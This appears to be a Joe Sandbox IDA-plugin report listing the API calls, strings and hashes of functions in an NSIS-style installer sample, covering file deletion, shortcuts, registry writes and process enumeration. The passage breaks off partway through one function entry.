Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: Delete: DeleteFile failed("%s")$Delete: DeleteFile on Reboot("%s")$Delete: DeleteFile("%s")$RMDir: RemoveDirectory failed("%s")$RMDir: RemoveDirectory invalid input("%s")$RMDir: RemoveDirectory on Reboot("%s")$RMDir: RemoveDirectory("%s")$\*.*
API String ID: 2035342205-3294556389
Opcode ID: 15be8897d6e9b53d01f132332000c29bcd26e475d5c6b9324dd4f7514e94a53d
Instruction ID: 0ca3ec5a28b3c1cae8259a28e21d86b18febecd5c0179aed135e39ed79665852
Opcode Fuzzy Hash: 15be8897d6e9b53d01f132332000c29bcd26e475d5c6b9324dd4f7514e94a53d
Instruction Fuzzy Hash: 2D51E3315043056ADB20AB61CD46EAF37B89F81725F22803FF943751D2DB7C49A2DAAD

Function 004024FB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00409B24,?,00000001,00409B04,?), ref: 0040257E

Strings

CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d, xrefs: 00402560

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: CreateInstance
String ID: CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d
API String ID: 542301482-1377821865
Opcode ID: 0ddbb4256677b6c48083548557f3f7fdb52e2b2de327cf14ae3b1cdcca70b28b
Instruction ID: c24c797a6f187c751e7d972b1a807078ee58ffeb38f484aa28d094541f0f6205
Opcode Fuzzy Hash: 0ddbb4256677b6c48083548557f3f7fdb52e2b2de327cf14ae3b1cdcca70b28b
Instruction Fuzzy Hash: 02415E74A00205BFCF04EFA0CC99EAE7B79FF48314B20456AF915EB2E1C679A941CB54

Function 00402E18 Relevance: 1.5, APIs: 1, Instructions: 27fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402E27

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 005be0a9498432eb51f9697d6085e84733c01c19a866f8c94ce5140aa3afdc34
Instruction ID: b91193b5dd17d351e639dca097a4c2443a83fae7855d8014906372cda19badf2
Opcode Fuzzy Hash: 005be0a9498432eb51f9697d6085e84733c01c19a866f8c94ce5140aa3afdc34
Instruction Fuzzy Hash: 4EE06D32600204AFD700EB749D45ABE736CDF01329F20457BF146F20D1E6B89A41976A

Function 004063AC Relevance: 70.3, APIs: 29, Strings: 11, Instructions: 256libraryloadermemoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00000FA0), ref: 004063BF
lstrlenW.KERNEL32(?), ref: 004063CC
GetVersionExW.KERNEL32(?), ref: 0040642A

Part of subcall function 0040602B: CharUpperW.USER32(?,00406401,?), ref: 00406031

LoadLibraryA.KERNEL32(PSAPI.DLL), ref: 00406469
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 00406488
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00406492
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 0040649D
FreeLibrary.KERNEL32(00000000), ref: 004064D4
GlobalFree.KERNEL32(?), ref: 004064DD

Strings

Process32FirstW, xrefs: 004065BD
Kernel32.DLL, xrefs: 0040659B
Module32FirstW, xrefs: 004065D3
EnumProcesses, xrefs: 00406482
GetModuleBaseNameW, xrefs: 00406494
CreateToolhelp32Snapshot, xrefs: 004065B5
EnumProcessModules, xrefs: 0040648A
PSAPI.DLL, xrefs: 00406464
Unknown, xrefs: 004064FC
Module32NextW, xrefs: 004065DE
Process32NextW, xrefs: 004065C8

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: AddressProc$FreeGlobalLibrary$AllocCharLoadUpperVersionlstrlen
String ID: CreateToolhelp32Snapshot$EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Kernel32.DLL$Module32FirstW$Module32NextW$PSAPI.DLL$Process32FirstW$Process32NextW$Unknown
API String ID: 20674999-2124804629
Opcode ID: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
Instruction ID: f5db07f83b48746be4b9c4f5c588c21b75103c60b5638216cabcef37c42edb4d
Opcode Fuzzy Hash: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
Instruction Fuzzy Hash: 38919331900219EBDF109FA4CD88AAFBBB8EF44741F11447BE546F6281DB388A51CF68

Function 004040B8 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 210windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040416D
GetDlgItem.USER32(?,000003E8), ref: 00404181
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040419E
GetSysColor.USER32(?), ref: 004041AF
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004041BD
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004041CB
lstrlenW.KERNEL32(?), ref: 004041D6
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004041E3
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004041F2

Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,00000000,00404124,?), ref: 00403FE1
Part of subcall function 00403FCA: GlobalAlloc.KERNEL32(00000040,00000001,?,?,?,00000000,00404124,?), ref: 00403FF0
Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000001,00000000,00000000,?,?,00000000,00404124,?), ref: 00404004

GetDlgItem.USER32(?,0000040A), ref: 0040424A
SendMessageW.USER32(00000000), ref: 00404251
GetDlgItem.USER32(?,000003E8), ref: 0040427E
SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 004042C1
LoadCursorW.USER32(00000000,00007F02), ref: 004042CF
SetCursor.USER32(00000000), ref: 004042D2
ShellExecuteW.SHELL32(0000070B,open,00462540,00000000,00000000,00000001), ref: 004042E7
LoadCursorW.USER32(00000000,00007F00), ref: 004042F3
SetCursor.USER32(00000000), ref: 004042F6
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404325
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404337

Strings

@%F, xrefs: 004042A7
open, xrefs: 004042DF
N, xrefs: 0040426C

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: MessageSend$Cursor$Item$ByteCharLoadMultiWide$AllocButtonCheckColorExecuteGlobalShelllstrlen
String ID: @%F$N$open
API String ID: 3928313111-3849437375
Opcode ID: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
Instruction ID: 2c1438ad93098d7b112eeb2502b55652a68651cb38e922ac8f4fb42b83a973d4
Opcode Fuzzy Hash: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
Instruction Fuzzy Hash: 0F71A4B1900609FFDB109F60DD45EAA7B79FB44305F00843AFA05B62D1C778A991CF99

Function 00406A99 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 163filestringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(0045B2C8,NUL,?,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AA9
CloseHandle.KERNEL32(00000000,000000F1,00000000,00000001,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AC8
GetShortPathNameW.KERNEL32(000000F1,0045B2C8,00000400), ref: 00406AD1

Part of subcall function 00405DB6: lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
Part of subcall function 00405DB6: lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8

GetShortPathNameW.KERNEL32(000000F1,00460920,00000400), ref: 00406AF2
WideCharToMultiByte.KERNEL32(00000000,00000000,0045B2C8,000000FF,0045BAC8,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B1B
WideCharToMultiByte.KERNEL32(00000000,00000000,00460920,000000FF,0045C118,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B33
wsprintfA.USER32 ref: 00406B4D
GetFileSize.KERNEL32(00000000,00000000,00460920,C0000000,00000004,00460920,?,?,00000000,000000F1,?), ref: 00406B85
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00406B94
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00406BB0
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename]), ref: 00406BE0
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,0045C518,00000000,-0000000A,0040987C,00000000,[Rename]), ref: 00406C37

Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00406C4B
GlobalFree.KERNEL32(00000000), ref: 00406C52
CloseHandle.KERNEL32(?), ref: 00406C5C

Strings

NUL, xrefs: 00406A9E
F, xrefs: 00406AE8
[Rename], xrefs: 00406BC8, 00406BD7
%s=%s, xrefs: 00406B43

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: File$ByteCharCloseGlobalHandleMultiNamePathShortWidelstrcpylstrlen$AllocAttributesCreateFreePointerReadSizeWritewsprintf
String ID: F$%s=%s$NUL$[Rename]
API String ID: 565278875-1653569448
Opcode ID: a2f4805b9b6d14c41e9e3fa236157f8587e3d6293513dd7448d110fd9e4d9510
Instruction ID: f97e154d5ee7f709bd30e138c0dd6e282719408add8f0d739c14b832633f1bd9
Opcode Fuzzy Hash: a2f4805b9b6d14c41e9e3fa236157f8587e3d6293513dd7448d110fd9e4d9510
Instruction Fuzzy Hash: AE412632104208BFE6206B619E8CD6B3B6CDF86754B16043EF586F22D1DA3CDC158ABC

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010D8
FillRect.USER32(00000000,?,00000000), ref: 004010ED
DeleteObject.GDI32(?), ref: 004010F6
CreateFontIndirectW.GDI32(?), ref: 0040110E
SetBkMode.GDI32(00000000,00000001), ref: 0040112F
SetTextColor.GDI32(00000000,000000FF), ref: 00401139
SelectObject.GDI32(00000000,?), ref: 00401149
DrawTextW.USER32(00000000,0046ADC0,000000FF,00000010,00000820), ref: 0040115F
SelectObject.GDI32(00000000,00000000), ref: 00401169
DeleteObject.GDI32(?), ref: 0040116E
EndPaint.USER32(?,?), ref: 00401177

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
Instruction ID: e7530e13063599d95e155ed3b2c7b7521dfa2668d538c4695d9c695e9582dc0d
Opcode Fuzzy Hash: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
Instruction Fuzzy Hash: 01516C71400209AFCB058F95DE459AF7FB9FF45311F00802EF992AA1A0CB78DA55DFA4

Function 00402880 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 131registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004028DA
lstrlenW.KERNEL32(004130D8,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004028FD
RegSetValueExW.ADVAPI32(?,?,?,?,004130D8,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004029BC
RegCloseKey.ADVAPI32(?), ref: 004029E4

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

WriteReg: error writing into "%s\%s" "%s", xrefs: 004029D4
WriteRegExpandStr: "%s\%s" "%s"="%s", xrefs: 0040292A
WriteRegStr: "%s\%s" "%s"="%s", xrefs: 00402918
WriteReg: error creating key "%s\%s", xrefs: 004029F5
WriteRegBin: "%s\%s" "%s"="%s", xrefs: 004029A1
WriteRegDWORD: "%s\%s" "%s"="0x%08x", xrefs: 00402959

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: lstrlen$CloseCreateValuewvsprintf
String ID: WriteReg: error creating key "%s\%s"$WriteReg: error writing into "%s\%s" "%s"$WriteRegBin: "%s\%s" "%s"="%s"$WriteRegDWORD: "%s\%s" "%s"="0x%08x"$WriteRegExpandStr: "%s\%s" "%s"="%s"$WriteRegStr: "%s\%s" "%s"="%s"
API String ID: 1641139501-220328614
Opcode ID: 51d35262b0c2a2c9e21de093e360e43a16013741a0d7e0050a8341ec78c57d1d
Instruction ID: 4ea7a0066738be70411365ddd6f3e5606018e51d84950e7919a1ab5782edcef9
Opcode Fuzzy Hash: 51d35262b0c2a2c9e21de093e360e43a16013741a0d7e0050a8341ec78c57d1d
Instruction Fuzzy Hash: 3D41BFB2D00209BFDF11AF90CE46DAEBBB9EB04704F20407BF505B61A1D6B94B509B59

Function 00402E55 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 103memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,000000F0), ref: 00402EA9
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,000000F0), ref: 00402EC5
GlobalFree.KERNEL32(FFFFFD66), ref: 00402EFE
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,000000F0), ref: 00402F10
GlobalFree.KERNEL32(00000000), ref: 00402F17
CloseHandle.KERNEL32(?,?,?,?,?,000000F0), ref: 00402F2F
DeleteFileW.KERNEL32(?), ref: 00402F56

Strings

created uninstaller: %d, "%s", xrefs: 00402F3B

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID: created uninstaller: %d, "%s"
API String ID: 3294113728-3145124454
Opcode ID: 7d19fd18931236c609f14dd9ebe02190de13aa3954742adab313f132dac73535
Instruction ID: 876417c632a2c352b67fb01c84f3ccb8dada3a759dccfb7ac575e016526b3130
Opcode Fuzzy Hash: 7d19fd18931236c609f14dd9ebe02190de13aa3954742adab313f132dac73535
Instruction Fuzzy Hash: E231B272800115BBCB11AFA4CE45DAF7FB9EF08364F10023AF555B61E1CB794E419B98

Function 004060E7 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72filestringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE
GetFileAttributesW.KERNEL32(0046A560,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040613C
WriteFile.KERNEL32(00000000,000000FF,00000002,00000000,00000000,0046A560,40000000,00000004), ref: 00406175
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,0046A560,40000000,00000004), ref: 00406181
lstrcatW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00409678,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040619B
lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),?,?,004062D4,00000000), ref: 004061A2
WriteFile.KERNEL32(RMDir: RemoveDirectory invalid input(""),00000000,004062D4,00000000,?,?,004062D4,00000000), ref: 004061B7

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 00406195, 0040619A, 004061A1, 004061B0

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: File$Write$AttributesCloseHandlePointerlstrcatlstrlen
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3734993849-2769509956
Opcode ID: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
Instruction ID: 719ae6cd10854ac59b0cdc08190af65770ef99398ad526dd54b0ef62760a23c4
Opcode Fuzzy Hash: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
Instruction Fuzzy Hash: 4621F271400200BBD710AB64DD88D9B376CEB02370B25C73AF626BA1E1E77449868BAD

Function 00403DCA Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00403DE4
GetSysColor.USER32(00000000), ref: 00403E00
SetTextColor.GDI32(?,00000000), ref: 00403E0C
SetBkMode.GDI32(?,?), ref: 00403E18
GetSysColor.USER32(?), ref: 00403E2B
SetBkColor.GDI32(?,?), ref: 00403E3B
DeleteObject.GDI32(?), ref: 00403E55
CreateBrushIndirect.GDI32(?), ref: 00403E5F

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction ID: efe235911933e34786796033030fc6f48e67331b78f43f6f4bde0ddab4ebbdd0
Opcode Fuzzy Hash: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction Fuzzy Hash: 7D1166715007046BCB219F78DE08B5BBFF8AF01755F048A2DE886F22A0D774DA48CB94

Function 004023F0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 83libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000001,000000F0), ref: 0040241C

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
